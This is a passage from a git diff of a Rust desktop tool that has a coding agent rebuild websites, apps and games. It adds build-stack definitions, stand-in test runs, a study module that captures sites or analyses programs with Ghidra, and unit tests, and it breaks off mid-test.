with (the script and stylesheet addresses in capture.json and page.html, for example /_next/ for Next.js or /_nuxt/ for Nuxt), use the same. For a website, create the project in app/ with a \"build\" script in package.json, then run `npm install` and `npm run build` from app/ until it succeeds: the output must be static files in app/dist, app/out or app/build (index.html at its top and each other page at its own path) that work when served as static files." + +[[stack]] +name = "Electron" +asked_by = [" electron "] +uses = ["electron"] +steps = "Use Electron, with TypeScript or JavaScript (a bundler such as Vite is fine). Create the project in app/: package.json with electron as a devDependency, \"main\" set to the main-process file and a \"build\" script that compiles or bundles everything and exits without opening a window (for plain JavaScript, `node --check` on the main file is enough). Keep contextIsolation on and nodeIntegration off, and give the page what it needs through a preload script and IPC. For --screenshot, set backgroundThrottling to false, wait for the page to finish loading and about two seconds rather than counting requestAnimationFrame frames (a window that opens behind others may get none), then save win.webContents.capturePage(). Craft Anything starts the app with the Electron that `npm install` puts in node_modules, with app/ as its argument, so run `npm install` and `npm run build` from app/ until both succeed." + +[[stack]] +name = "Next.js + TypeScript" +asked_by = [" nextjs ", " next js ", " use next ", " using next ", " in next "] +uses = ["next"] +steps = "Use Next.js (App Router) + React + TypeScript, exported as a static site. Create the project files directly in app/: package.json with next, react and react-dom and the script \"build\": \"next build\"; next.config.mjs with output: 'export', trailingSlash: true and images: { unoptimized: true }; tsconfig.json; src/app/layout.tsx and src/app/page.tsx, with one folder per other page under src/app/. Load the original's fonts with next/font. Use nothing a static export can't serve (API routes, server actions, middleware, dynamic routes without generateStaticParams). Then run `npm install` and `npm run build` from app/ until it succeeds; the output must be app/out and must work when served as static files." + +[[stack]] +name = "Python" +asked_by = [" in python", " with python"] + +[[stack]] +name = "React + TypeScript (Vite)" +asked_by = [" in typescript", " in react", " with react", " in javascript", " vite "] +uses = ["vite"] +steps = "Use Vite + React + TypeScript. Create the project files directly in app/ (package.json with scripts \"build\": \"tsc -b && vite build\" or \"vite build\", vite.config.ts with base './', index.html, src/). Then run `npm install` and `npm run build` from app/ until it succeeds; the output must be app/dist and must work when served as static files." + +[[stack]] +name = "Plain HTML and CSS" +asked_by = [" html and css ", " plain html ", " no frameworks ", " no javascript ", " no build step ", " static html "] +steps = "Use plain HTML, CSS and a little JavaScript only if the page needs it: no framework, no bundler, no build step. Create the project directly in app/: index.html at the top, one .css file (and .js only if needed) beside it, with each other page at its own path (about.html, contact.html). Link the stylesheet with a relative path. Then check that the pages open and look right when served as static files; there is nothing to build." + +[[stack]] +name = "Rust (console)" +uses = [] +steps = "Use Rust for a console program: create a cargo project in app/ (Cargo.toml, src/main.rs), read its arguments (std::env::args, or clap if it has many options), print to standard output and standard error the way the original does, exit with the original's exit codes, and draw no window. Run `cargo build` until it succeeds." + +[[stack]] +name = "Rust + egui (eframe)" +steps = "Use Rust with eframe/egui for the window and UI. Create a cargo project in app/ and run `cargo build` until it succeeds." + +[[stack]] +name = "Rust + macroquad" +engine = "rust" +steps = "Use Rust with macroquad (a small game library). Create a cargo project in app/ (Cargo.toml, src/main.rs), keep assets procedural (shapes, colours) unless the person provides some, and run `cargo build` until it succeeds." + +[[stack]] +name = "Unity" +engine = "unity" +steps = "Use Unity (the editor is {editor}). Create the project in app/: Assets/, Packages/manifest.json (built-in packages unless you need more) and ProjectSettings/ProjectVersion.txt with the editor's version. Write the game in C# under Assets/Scripts/. Scenes are hard to write by hand, so build them from code: an editor script Assets/Editor/CraftBuild.cs with a static `Build()` method that creates the scene(s) under Assets/Scenes/, adds them to the build settings and builds a {player} player to app/Build/Game.{ext} with BuildPipeline.BuildPlayer, calling EditorApplication.Exit(1) when the build fails. Build with `\"{editor}\" -batchmode -quit -nographics -projectPath app -executeMethod CraftBuild.Build -logFile app/Logs/build.log` and read that log when it fails. The first run imports the project and takes a few minutes." + +[[stack]] +name = "Unreal Engine" +engine = "unreal" +steps = "Use Unreal Engine (the editor is {editor}) with C++: Blueprint and level files are binary and can't be written by hand. Create app/Game.uproject (its EngineAssociation set to the installed version, one C++ module) and Source/Game/ with the module, its Build.cs and the Target.cs files. Make levels from code (a GameMode that spawns the geometry, lights and actors at start, with a small empty default map) rather than editing .umap files. Craft Anything packages it with Unreal's BuildCookRun into app/Build after each round; the first package takes a long time, so compile your C++ with the engine's build tool first and fix errors there." + +[[stack]] +name = "Godot" +engine = "godot" +steps = "Use Godot (the editor is {editor}) with GDScript. Create the project in app/: project.godot (config_version=5, with run/main_scene set), scenes as .tscn text files and scripts as .gd files; Godot's files are plain text, so write scenes directly. Check it with `\"{editor}\" --headless --path app --import` and then `\"{editor}\" --headless --path app --quit-after 120`, and fix every SCRIPT ERROR or ERROR line." + +[[library]] +name = "shadcn/ui" +asked_by = [" shadcn ", " shadcnui "] +stacks = ["Next.js + TypeScript", "React + TypeScript (Vite)", "Electron", "Builder's choice"] +steps = "Build the interface from shadcn/ui components, styled with Tailwind CSS: set it up in app/ with the shadcn CLI, non-interactively (`npx shadcn@latest init --yes --defaults` once package.json and Tailwind are in place), add each component you use with `npx shadcn@latest add --yes ` (button, card, navigation-menu, sheet for the phone menu, accordion, tabs…), and use them for every matching part of the page rather than hand-made ones. Then make them look like the original: set the theme's CSS variables (background, foreground, primary, muted, accent, border, ring, radius) to the original's colours and corner radii from capture.json, not shadcn's defaults." + +[[library]] +name = "Tailwind CSS" +asked_by = [" tailwind ", " tailwindcss "] +stacks = ["Next.js + TypeScript", "React + TypeScript (Vite)", "Electron", "Builder's choice"] +steps = "Style with Tailwind CSS (v4, through @tailwindcss/postcss for Next.js or @tailwindcss/vite for Vite), with the original's colours, fonts, text sizes, spacing and breakpoints from capture.json as theme tokens in an @theme block." diff --git a/desktop/crates/ai/src/rebuild/stand_in.rs b/desktop/crates/ai/src/rebuild/stand_in.rs new file mode 100644 index 0000000..acdd5e1 --- /dev/null +++ b/desktop/crates/ai/src/rebuild/stand_in.rs @@ -0,0 +1,100 @@ +//! Stand-in runs, for tests of whatever holds a [`RunSet`] (the app's screens, a fork's own front +//! end): they start at once, run no coding agent, and report only what the test tells them to. +//! Each keeps its project's feed like a real run, so opening a project shows what it reported. + +use super::runs::Starter; +use super::*; + +struct Handle { + root: PathBuf, + /// Started to carry on where the last run stopped (`RunOptions::continuing`). + continuing: bool, + running: Arc, + tx: Sender, + feed: Arc>, +} + +/// Hands out stand-in runs ([`StandIns::starter`]) and drives them. +#[derive(Default, Clone)] +pub struct StandIns { + started: Arc>>, + /// Projects (by name) whose runs fail to start. + failing: Vec, +} + +impl StandIns { + pub fn new() -> StandIns { + StandIns::default() + } + + /// Runs on the project named `name` fail to start, as with no coding agent. + pub fn failing(mut self, name: &str) -> StandIns { + self.failing.push(name.to_string()); + self + } + + /// A starter for [`RunSet::with_starter`]. + pub fn starter(&self) -> Starter { + let (all, failing) = (self.started.clone(), self.failing.clone()); + Box::new(move |_hub, ws, opts| { + if failing.contains(&ws.manifest.name) { + return Err(ToolError::invalid("No coding agent.")); + } + let (tx, rx) = std::sync::mpsc::channel(); + let running = Arc::new(AtomicBool::new(true)); + let feed = Arc::new(Mutex::new(feed::FeedLog::open(&ws))); + if let Some(shown) = opts.shown { + feed.lock().unwrap_or_else(PoisonError::into_inner).push(feed::FeedItem::User(shown)); + } + all.lock().unwrap_or_else(PoisonError::into_inner).push(Handle { + root: ws.root.clone(), + continuing: opts.continuing, + running: running.clone(), + tx, + feed: feed.clone(), + }); + let activity = feed.lock().unwrap_or_else(PoisonError::into_inner).activity(); + Ok(RebuildRun { + activity, + rx, + stop: CancelToken::default(), + inbox: Inbox::new(ws.inbox_dir()), + running, + preview: Arc::default(), + notes: Arc::default(), + feed, + root: ws.root.clone(), + started: std::time::Instant::now(), + }) + }) + } + + /// Every run started so far, by project folder, in order. + pub fn started(&self) -> Vec { + self.started.lock().unwrap_or_else(PoisonError::into_inner).iter().map(|h| h.root.clone()).collect() + } + + /// The runs started to carry on where the last one stopped, by project folder, in order. + pub fn continued(&self) -> Vec { + self.started.lock().unwrap_or_else(PoisonError::into_inner).iter().filter(|h| h.continuing).map(|h| h.root.clone()).collect() + } + + /// The project's latest run reports `e` (kept in its feed too). A `Finished` ends it. + /// False when no run was started for it. + pub fn send(&self, root: &Path, e: RunEvent) -> bool { + let all = self.started.lock().unwrap_or_else(PoisonError::into_inner); + let Some(h) = all.iter().rev().find(|h| h.root == root) else { return false }; + h.feed.lock().unwrap_or_else(PoisonError::into_inner).record(&e); + let done = matches!(e, RunEvent::Finished { .. }); + let _ = h.tx.send(e); + if done { + h.running.store(false, Ordering::SeqCst); + } + true + } + + /// The project's latest run finishes well ("Done."). + pub fn finish(&self, root: &Path) -> bool { + self.send(root, RunEvent::Finished { ok: true, message: "Done.".into(), paused: false }) + } +} diff --git a/desktop/crates/ai/src/rebuild/study.rs b/desktop/crates/ai/src/rebuild/study.rs new file mode 100644 index 0000000..b43df94 --- /dev/null +++ b/desktop/crates/ai/src/rebuild/study.rs @@ -0,0 +1,276 @@ +//! Study: look at the target before the first build (capture a website, triage a program, start +//! Ghidra's analysis in Deep mode) and write the notes the builder reads. + +use super::*; + +impl Worker { + pub(super) fn study(&mut self, ws: &mut Workspace, kind: &dyn TargetKind) -> Result<(), ToolError> { + match ws.manifest.target.clone() { + TargetRef::Website { url } => { + self.step(ws, Step::Study, Status::Inspecting, &format!("Opening {url} in a private browser…"))?; + self.call("web_site_open", json!({"url": url}))?; + self.step(ws, Step::Study, Status::Inspecting, "Photographing the page and reading its layout…")?; + let capture = ws.capture_dir(); + if capture.exists() { + let _ = std::fs::remove_dir_all(&capture); + } + // The widths the check compares at, so every picture has its pair. + let widths = self.engine.session().settings.build.widths(); + self.call("web_site_capture", json!({"output_directory": capture.display().to_string(), "widths": widths, "noise_pass": true}))?; + // Menus, pop-ups and tabs, one at a time, on a computer and on a phone (where a menu + // button often replaces the navigation); a page without them (or a failure) is fine. + self.step(ws, Step::Study, Status::Inspecting, "Opening its menus, pop-ups and tabs…")?; + let mut views = vec![(kinds::website::STATES_DIR.to_string(), widths.first().copied().unwrap_or(1440))]; + views.extend(kinds::website::phone_width(&widths).map(|w| (kinds::website::phone_states_dir(w), w))); + for (dir, width) in views { + let states = capture.join(dir); + if let Err(e) = self.call("web_page_states_capture", json!({"output_directory": states.display().to_string(), "width": width})) { + self.step(ws, Step::Study, Status::Inspecting, &format!("Couldn't open its menus and pop-ups at {width} px: {}", e.message))?; + } + } + self.capture_routes(ws, &url, &widths)?; + if !self.engine.session().clean_room() { + self.how_it_works(ws, &url)?; + } + } + TargetRef::Local { path } if self.engine.session().clean_room() => self.study_from_outside(ws, &path)?, + TargetRef::Local { path } => { + self.step(ws, Step::Study, Status::Inspecting, "Looking inside it (nothing is run)…")?; + let (program, folder) = locate(&path, kind.studies_folder()); + let mut notes = format!("# What we found in {}\n\n", path.display()); + if program != path { + notes.push_str(&format!("{} starts {}, so that's what we looked at.\n\n", path.display(), program.display())); + } + match self.call("core_target_triage", json!({"path": program.display().to_string()})) { + Ok(out) => notes.push_str(&describe(&out)), + Err(e) => notes.push_str(&format!("A first look failed: {}\n", e.message)), + } + if !program.is_file() && !self.engine.session().clean_room() { + self.step( + ws, + Step::Study, + Status::Inspecting, + "Couldn't find the program to decompile, so Ghidra can't be used. Pick the game's or app's main folder or its program.", + )?; + notes.push_str(&format!("\n## Ghidra\n\nNo program was found in {}, so Ghidra couldn't be used.\n", path.display())); + } + if let Some(done) = self.prepare_ghidra(&program) { + // Deep mode always waits for Ghidra: the builder then decompiles with it straight away. + let started = std::time::Instant::now(); + // One line: the app's progress card shows how long it has been going. + self.step(ws, Step::Study, Status::Inspecting, "Ghidra is analysing the program (only the first time; a big game takes a while)…")?; + let result = loop { + match done.recv_timeout(Duration::from_secs(30)) { + Ok(r) => break r, + Err(std::sync::mpsc::RecvTimeoutError::Timeout) => self.stop.check()?, + Err(std::sync::mpsc::RecvTimeoutError::Disconnected) => break Err("the analysis stopped unexpectedly".into()), + } + }; + notes.push_str(&match result { + Ok(()) => format!( + "\n## Ghidra\n\nDeep mode: Ghidra has analysed {} ({} min), so decompiling it is quick.\n", + program.display(), + started.elapsed().as_secs() / 60 + ), + Err(e) => format!("\n## Ghidra\n\nGhidra couldn't analyse {} ({e}), so decompiling uses the built-in decompiler.\n", program.display()), + }); + } + if let Some(f) = folder { + self.step(ws, Step::Study, Status::Inspecting, "Listing its maps, pictures, models and sounds…")?; + if let Some(found) = game::detect(&f) { + notes.push_str(&format!("\n## Made with {}\n\nThe giveaway: {}.", found.label(), found.clue)); + if let Some(n) = &found.note { + notes.push_str(&format!(" {n}")); + } + notes.push('\n'); + } + notes.push_str(&inventory(&f)); + } + let is_js = path.extension().is_some_and(|e| e == "asar") || path.join("resources/app.asar").exists() || path.join("package.json").exists(); + if is_js && let Ok(out) = self.call("js_app_map", json!({"input_path": path.display().to_string(), "limit": 50})) { + notes.push_str("\n## JavaScript application\n\n"); + notes.push_str(&describe(&out)); + } + let capture = ws.capture_dir(); + std::fs::create_dir_all(&capture).map_err(|e| ToolError::io(capture.display(), e))?; + let runtime = self.engine.session().settings.runtime_study; + let mut console = false; + if runtime && program.is_file() && kinds::runs::is_console(&program) { + // A console program draws no window: run it with each input instead. + self.step(ws, Step::Study, Status::Inspecting, "Running it with a few inputs to see what it prints…")?; + if let Some(section) = self.capture_runs(&program, &capture)? { + notes.push_str(§ion); + console = true; + } + } + if !console && runtime && program.is_file() && is_program(&program) { + notes.push_str(&self.picture_window(ws, &program, &capture)?); + } + craft_anything_engine::project::write_atomic(&capture.join("README.md"), notes.as_bytes())?; + } + TargetRef::None => { + let capture = ws.capture_dir(); + std::fs::create_dir_all(&capture).map_err(|e| ToolError::io(capture.display(), e))?; + craft_anything_engine::project::write_atomic(&capture.join("README.md"), b"# No target\n\nBuild from the request alone.\n")?; + } + } + Ok(()) + } + + /// Deep mode: how the site works, not only how it looks, into capture/how-it-works.md: what its + /// JavaScript is made of (with readable sources where its maps allow) and ten seconds of what the + /// start page does (requests, console, WebSocket messages). A part that fails is said, not fatal. + fn how_it_works(&mut self, ws: &mut Workspace, url: &str) -> Result<(), ToolError> { + self.step(ws, Step::Study, Status::Inspecting, "Reading its JavaScript and watching what it does…")?; + // The routes left the browser on another page; these look at the start page. + let _ = self.call("web_site_open", json!({"url": url})); + let mut notes = String::from("# How it works\n\nDeep mode: what the site's JavaScript is made of and what its start page did while we watched.\n"); + let looks = [ + ("Its JavaScript", "web_page_js_analyze", json!({"load_source_maps": true})), + ("Ten seconds of it", "web_page_watch", json!({"watch_ms": 10_000, "with_websocket_outlines": true})), + ]; + for (title, tool, params) in looks { + notes.push_str(&format!("\n## {title}\n\n")); + notes.push_str(&match self.call(tool, params) { + Ok(out) => describe(&out), + Err(e) => format!("{tool} didn't work: {}\n", e.message), + }); + } + craft_anything_engine::project::write_atomic(&ws.capture_dir().join(HOW_IT_WORKS), notes.as_bytes()) + } + + /// Clean room: nothing inside the original is read (no files, folder or code). When Settings + /// allows running it and the person picked the program itself, it is started once and its + /// window pictured, as anyone could see it. + fn study_from_outside(&mut self, ws: &mut Workspace, path: &Path) -> Result<(), ToolError> { + self.step(ws, Step::Study, Status::Inspecting, "Clean room: nothing inside it is read…")?; + let capture = ws.capture_dir(); + std::fs::create_dir_all(&capture).map_err(|e| ToolError::io(capture.display(), e))?; + let mut notes = format!( + "# Clean room\n\nNothing inside {} was read: its files, its folder and its code stay closed, and the tools that look inside are off. Build from the person's request and description and the pictures in reference/, and ask them with core_person_ask when something isn't clear.\n", + path.display() + ); + let runtime = self.engine.session().settings.runtime_study; + if runtime && path.is_file() && is_program(path) { + notes.push_str(&self.picture_window(ws, path, &capture)?); + } + craft_anything_engine::project::write_atomic(&capture.join("README.md"), notes.as_bytes()) + } + + /// Runtime study (Settings): start the program once and picture its window into capture/, for + /// the notes. + fn picture_window(&mut self, ws: &mut Workspace, program: &Path, capture: &Path) -> Result { + self.step(ws, Step::Study, Status::Inspecting, "Starting it for a moment to picture its window…")?; + let shot = capture.join("window.png"); + let tree = capture.join("ui-tree.json"); + let params = + json!({"program": program.display().to_string(), "wait_secs": 15, "output": shot.display().to_string(), "ui_tree": tree.display().to_string()}); + let picture = "capture/window.png is a picture of its window 15 seconds after it started. Open it with the Read tool: match its layout, colours and proportions.\n"; + let mut notes = String::from("\n## How it looks running\n\n"); + notes.push_str(&match self.call("native_window_capture", params) { + Ok(_) if tree.is_file() => format!( + "{picture}capture/ui-tree.json lists the controls in its windows at that moment, in order (role, title, identifier, value, position and size in pixels): use it for the names, order and placement of its menus, buttons and fields.\n" + ), + Ok(_) => picture.to_string(), + Err(e) => format!("Starting it for a picture didn't work ({}), so there's no picture of it running.\n", e.message), + }); + Ok(notes) + } + + /// The site's other pages (up to `build.max_pages` same-site pages: links from the start + /// page, then links from those pages while there's room), each captured into + /// capture/routes// and listed in capture/routes.json. A page that can't be captured is + /// left out; it never stops the study. + fn capture_routes(&mut self, ws: &mut Workspace, start: &str, widths: &[u32]) -> Result<(), ToolError> { + let capture = ws.capture_dir(); + let read = |dir: &Path| std::fs::read(dir.join("capture.json")).ok().and_then(|b| serde_json::from_slice::(&b).ok()); + let found = read(&capture).unwrap_or(Value::Null); + let max = self.engine.session().settings.build.max_pages.min(kinds::website::MAX_ROUTES); + let picked = kinds::website::pick_routes(&found, start, max); + let mut kept = self.capture_pages(ws, &picked, widths)?; + // One level deeper: pages linked from the ones just captured, while there's room. + if kept.len() < max && !kept.is_empty() { + let captures: Vec = kept.iter().filter_map(|r| read(&capture.join("routes").join(&r.slug))).collect(); + let deeper = kinds::website::pick_deeper_routes(&captures, start, &kept, max - kept.len()); + kept.extend(self.capture_pages(ws, &deeper, widths)?); + } + if !kept.is_empty() { + let json = serde_json::to_vec_pretty(&kept).map_err(|e| ToolError::internal(e.to_string()))?; + craft_anything_engine::project::write_atomic(&capture.join(kinds::website::ROUTES_FILE), &json)?; + } + Ok(()) + } + + /// Capture each page into capture/routes//; returns the ones that worked. + fn capture_pages(&mut self, ws: &mut Workspace, picked: &[kinds::website::Route], widths: &[u32]) -> Result, ToolError> { + let capture = ws.capture_dir(); + let mut kept = Vec::new(); + if !picked.is_empty() { + // web_site_capture creates its own folder, inside one that exists. + std::fs::create_dir_all(capture.join("routes")).map_err(|e| ToolError::io(capture.display(), e))?; + } + for (i, r) in picked.iter().enumerate() { + self.step(ws, Step::Study, Status::Inspecting, &format!("Photographing more pages ({} of {}): {}…", i + 1, picked.len(), r.path))?; + let dir = capture.join("routes").join(&r.slug); + let got = self.call("web_site_open", json!({"url": r.url})).and_then(|_| { + self.call( + "web_site_capture", + json!({"output_directory": dir.display().to_string(), "include_html": false, "widths": widths, "noise_pass": true}), + ) + }); + match got { + Ok(_) => kept.push(r.clone()), + // Said in the feed, not hidden: the page is left out and the study goes on. + Err(e) => self.step(ws, Step::Study, Status::Inspecting, &format!("Couldn't photograph {}: {}", r.path, e.message))?, + } + } + Ok(kept) + } + + /// Deep mode with Ghidra installed: run Ghidra's one-time analysis of `program` on its own + /// thread; the receiver gets its result. The builder's tools share the analysis (waiting for it + /// rather than starting another), and it carries on if the person pauses, so nothing is lost. + pub(super) fn prepare_ghidra(&self, program: &Path) -> Option>> { + // A folder (nothing in it recognised as the program) isn't something Ghidra can open. + if !program.is_file() { + return None; + } + let settings = { + let s = self.engine.session(); + if s.clean_room() || s.settings.ghidra_launcher().is_none() { + return None; + } + s.settings.clone() + }; + let program = program.to_path_buf(); + let (tx, rx) = std::sync::mpsc::channel(); + std::thread::Builder::new() + .name("ghidra-prepare".into()) + .spawn(move || { + let result = std::fs::read(&program).map_err(|e| e.to_string()).and_then(|bytes| { + let sha = craft_anything_evidence::sha256_hex(&bytes); + craft_anything_engine::tools::deep::prepare(&settings, &bytes, &sha, &|_| {}) + }); + if let Err(e) = &result { + log::warn!("Ghidra's analysis of {} failed: {e}", program.display()); + } + let _ = tx.send(result); + }) + .ok()?; + Some(rx) + } +} + +/// Deep mode's notes on how a website works, in capture/. +pub(super) const HOW_IT_WORKS: &str = "how-it-works.md"; + +/// A short text view of a tool result for the study notes. +pub(super) fn describe(out: &ToolOutput) -> String { + match out { + ToolOutput::Evidence(e) => { + let body = serde_json::to_string_pretty(&e.result).unwrap_or_default(); + format!("{}\n\nEvidence {}.\n\n```json\n{}\n```\n", e.summary, e.id, body.chars().take(20_000).collect::()) + } + ToolOutput::Value(v) => format!("```json\n{}\n```\n", serde_json::to_string_pretty(v).unwrap_or_default().chars().take(20_000).collect::()), + } +} diff --git a/desktop/crates/ai/src/rebuild/tests.rs b/desktop/crates/ai/src/rebuild/tests.rs new file mode 100644 index 0000000..2fc6e4f --- /dev/null +++ b/desktop/crates/ai/src/rebuild/tests.rs @@ -0,0 +1,1746 @@ +use super::check::build_check; +use super::*; + +// Helpers that take a built-in kind's id, so each test reads as one line. +fn kind(id: &str) -> Arc { + KindRegistry::built_in().get(id).unwrap() +} +fn choose(request: &str, target: &TargetRef) -> (&'static str, &'static str) { + let (k, stack) = KindRegistry::built_in().choose(request, target, true).unwrap(); + (k.id(), stack) +} +fn kind_of(request: &str, target: &TargetRef, stack: &str) -> &'static str { + KindRegistry::built_in().detect(request, target, stack).unwrap().id() +} +fn brief(ws: &Workspace, k: &str, deep: bool, ghidra: bool, editor: Option<&Path>, assets: bool, extra: Option<&str>) -> String { + super::brief(kind(k).as_ref(), &BriefCx { ws, deep, ghidra, editor, assets, image_model: None }, extra) +} +fn refine(k: &str, check: &CheckResult) -> String { + kind(k).refine(check) +} +fn follow_up(message: &str, k: &str) -> String { + super::follow_up(message, kind(k).as_ref()) +} +fn locate(path: &Path, k: &str) -> (PathBuf, Option) { + super::locate(path, kind(k).studies_folder()) +} + +#[test] +fn stack_choice() { + let web = TargetRef::Website { url: "https://a.com".into() }; + assert_eq!(choose("Clone this website", &web), ("website", stacks::BUILDERS_CHOICE), "the builder picks a website's stack, like the original's"); + assert_eq!(choose("Clone this website with React", &web).1, "React + TypeScript (Vite)"); + assert_eq!(choose(SAID_NEXT_SHADCN, &web), ("website", "Next.js + TypeScript"), "the stack the person named, not the default"); + assert_eq!(choose("Recreate this Steam game's gameplay", &TargetRef::None), ("game", "Unity"), "games default to Unity"); + assert_eq!(choose("Rebuild this desktop application in Rust", &TargetRef::None), ("app", "Rust + egui (eframe)")); + assert_eq!(choose("make a tool in python", &TargetRef::None).1, "Python"); + assert_eq!(choose("Recreate this game's core gameplay as a small game in Rust", &TargetRef::None).1, "Rust + macroquad"); + assert_eq!(choose("A platformer game with Godot", &TargetRef::None).1, "Godot"); + assert_eq!(choose("Remake this game in Unreal Engine 5", &TargetRef::None).1, "Unreal Engine"); + assert_eq!(choose("A snake game using unity", &TargetRef::None).1, "Unity"); + assert_eq!(choose("A pirate game in rustic colours", &TargetRef::None).1, "Unity", "a word that only starts like an engine doesn't count"); + assert_eq!(choose("A racing game, made in Rust.", &TargetRef::None).1, "Rust + macroquad"); + assert_eq!(choose("a landing page for my bakery", &TargetRef::None).0, "website"); + // The request names how to build: that wins over every kind's default. + assert_eq!(choose("A notes app in Electron", &TargetRef::None), ("app", "Electron")); + assert_eq!(choose("An Electron app with React and shadcn", &TargetRef::None).1, "Electron", "the app's own stack before its page library"); + assert_eq!(choose("A racing game in Electron", &TargetRef::None), ("game", "Electron")); + let kinds = KindRegistry::built_in(); + assert_eq!(kinds.named("A racing game in Godot", &TargetRef::None), Some("Godot")); + assert_eq!(kinds.named("a music player, built with electron", &TargetRef::None), Some("Electron")); + assert_eq!(kinds.named("A racing game", &TargetRef::None), None, "nothing named: each kind's default applies"); + // Built with a game engine means a game, even when the request never says "game". + let folder = TargetRef::Local { path: PathBuf::from("D:/Games/Untitled Project") }; + assert_eq!(choose("Clone Untitled Project. Match the original as closely as possible 1:1.", &folder).0, "app"); + assert_eq!(kind_of("Clone Untitled Project. Match the original as closely as possible 1:1.", &folder, "Unreal Engine"), "game"); + assert_eq!(kind_of("Copy this tool", &folder, "Rust + egui (eframe)"), "app", "the app stack stays an app"); +} + +#[test] +fn chinese_requests_keep_their_project_kind() { + for request in ["一个简单的贪吃蛇游戏", "簡單的貪食蛇遊戲", "复刻它的玩法"] { + assert_eq!(choose(request, &TargetRef::None), ("game", "Unity"), "{request}"); + } + for request in ["给面包店做一个网站", "為我的麵包店製作網站", "做一个网页", "製作網頁"] { + assert_eq!(choose(request, &TargetRef::None), ("website", stacks::BUILDERS_CHOICE), "{request}"); + } + assert_eq!(choose("制作一个笔记应用", &TargetRef::None).0, "app"); +} + +#[test] +fn site_dir_prefers_build_output() { + let d = tempfile::tempdir().unwrap(); + assert!(site_dir(d.path()).is_none()); + std::fs::write(d.path().join("index.html"), "x").unwrap(); + assert_eq!(site_dir(d.path()).as_deref(), Some(d.path()), "a plain static site"); + std::fs::write(d.path().join("package.json"), "{}").unwrap(); + assert!(site_dir(d.path()).is_none(), "a source index.html of an unbuilt Vite app doesn't count"); + std::fs::create_dir(d.path().join("dist")).unwrap(); + std::fs::write(d.path().join("dist/index.html"), "x").unwrap(); + assert_eq!(site_dir(d.path()), Some(d.path().join("dist"))); +} + +#[test] +fn built_program_finds_the_cargo_output_only() { + let d = tempfile::tempdir().unwrap(); + let debug = d.path().join("target/debug"); + std::fs::create_dir_all(debug.join("build")).unwrap(); + let exe = |name: &str| if cfg!(windows) { format!("{name}.exe") } else { name.to_string() }; + let make = |p: &Path| { + std::fs::write(p, "x").unwrap(); + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + std::fs::set_permissions(p, std::fs::Permissions::from_mode(0o755)).unwrap(); + } + }; + make(&debug.join(exe("snake"))); + std::fs::write(debug.join("snake.d"), "deps").unwrap(); + make(&debug.join("build").join(exe("build-script-build"))); + assert!(built_program(d.path()).is_none(), "not a cargo project"); + std::fs::write(d.path().join("Cargo.toml"), "[package]").unwrap(); + assert_eq!(built_program(d.path()), Some(debug.join(exe("snake")))); +} + +#[test] +fn play_starts_the_window_app_of_a_workspace_not_its_newest_program() { + // Play started the CLI a workspace also built (it was newer), which printed help and quit + // with no console, so nothing appeared. + let d = tempfile::tempdir().unwrap(); + let app = d.path(); + let debug = app.join("target/debug"); + std::fs::create_dir_all(&debug).unwrap(); + std::fs::create_dir_all(app.join("src")).unwrap(); + std::fs::create_dir_all(app.join("crates/cli/src")).unwrap(); + std::fs::create_dir_all(app.join("crates/doc/src")).unwrap(); + std::fs::write(app.join("src/main.rs"), "fn main() {}").unwrap(); + std::fs::write(app.join("crates/cli/src/main.rs"), "fn main() {}").unwrap(); + std::fs::write( + app.join("Cargo.toml"), + "[workspace]\nmembers = [\".\", \"crates/*\"]\n\n[package]\nname = \"anim\"\n\n[dependencies]\neframe = { workspace = true }\n", + ) + .unwrap(); + std::fs::write(app.join("crates/cli/Cargo.toml"), "[package]\nname = \"anim-cli\"\n\n[[bin]]\nname = \"anim-cli\"\npath = \"src/main.rs\"\n").unwrap(); + std::fs::write(app.join("crates/doc/Cargo.toml"), "[package]\nname = \"anim-doc\"\n").unwrap(); + let exe = |name: &str| if cfg!(windows) { format!("{name}.exe") } else { name.to_string() }; + let make = |name: &str| { + let p = debug.join(exe(name)); + std::fs::write(&p, "x").unwrap(); + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + std::fs::set_permissions(&p, std::fs::Permissions::from_mode(0o755)).unwrap(); + } + // Each later one is newer. + std::thread::sleep(std::time::Duration::from_millis(20)); + }; + make("anim"); + make("anim.running-144900"); + make("anim-cli"); + assert_eq!(built_program(app), Some(debug.join(exe("anim"))), "the package that opens a window"); + // A default-run says which, whatever it uses. + std::fs::write( + app.join("Cargo.toml"), + "[workspace]\nmembers = [\".\", \"crates/*\"]\n\n[package]\nname = \"anim\"\ndefault-run = \"anim-cli\"\n\n[dependencies]\neframe = \"0.36\"\n", + ) + .unwrap(); + assert_eq!(built_program(app), Some(debug.join(exe("anim-cli")))); +} + +#[test] +fn a_launcher_leads_to_the_game_and_its_files() { + let d = tempfile::tempdir().unwrap(); + let game = d.path(); + for dir in ["bin_win32", "packages/maps", "packages/textures/walls", "packages/audio"] { + std::fs::create_dir_all(game.join(dir)).unwrap(); + } + let exe = |n: &str| if cfg!(windows) { format!("{n}.exe") } else { n.to_string() }; + let make = |p: &Path, bytes: usize| { + std::fs::write(p, vec![0u8; bytes]).unwrap(); + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + std::fs::set_permissions(p, std::fs::Permissions::from_mode(0o755)).unwrap(); + } + }; + make(&game.join("bin_win32").join(exe("client")), 10); + make(&game.join("bin_win32").join(exe("server")), 99); // bigger, but a server isn't the game + make(&game.join(exe("Uninstall")), 500); + std::fs::write(game.join("packages/maps/dust.cgz"), "m").unwrap(); + std::fs::write(game.join("packages/textures/walls/brick.jpg"), "t").unwrap(); + std::fs::write(game.join("packages/audio/shot.ogg"), "s").unwrap(); + std::fs::write(game.join("packages/textures/walls/license.txt"), "CC-BY").unwrap(); + let bat = game.join("play.bat"); + std::fs::write(&bat, format!("start bin_win32\\{} \"--home=x\" --init %1\n", exe("client"))).unwrap(); + + let (program, folder) = locate(&bat, "app"); + assert_eq!(program, game.join("bin_win32").join(exe("client")), "the program the script starts"); + assert_eq!(folder.as_deref(), Some(game), "a launcher's folder is studied whatever the kind"); + assert_eq!(main_program(game), Some(game.join("bin_win32").join(exe("client"))), "skips installers and servers"); + let (_, up) = locate(&game.join("bin_win32").join(exe("client")), "game"); + // Picking Unreal's shared Engine/ folder (or Binaries/Win64) finds the game above it. + let ue = d.path().join("Untitled Project"); + let shipping = ue.join("MyGame/Binaries/Win64").join(exe("MyGame-Win64-Shipping")); + std::fs::create_dir_all(shipping.parent().unwrap()).unwrap(); + make(&shipping, 4096); + std::fs::create_dir_all(ue.join("Engine/Binaries/Win64")).unwrap(); + 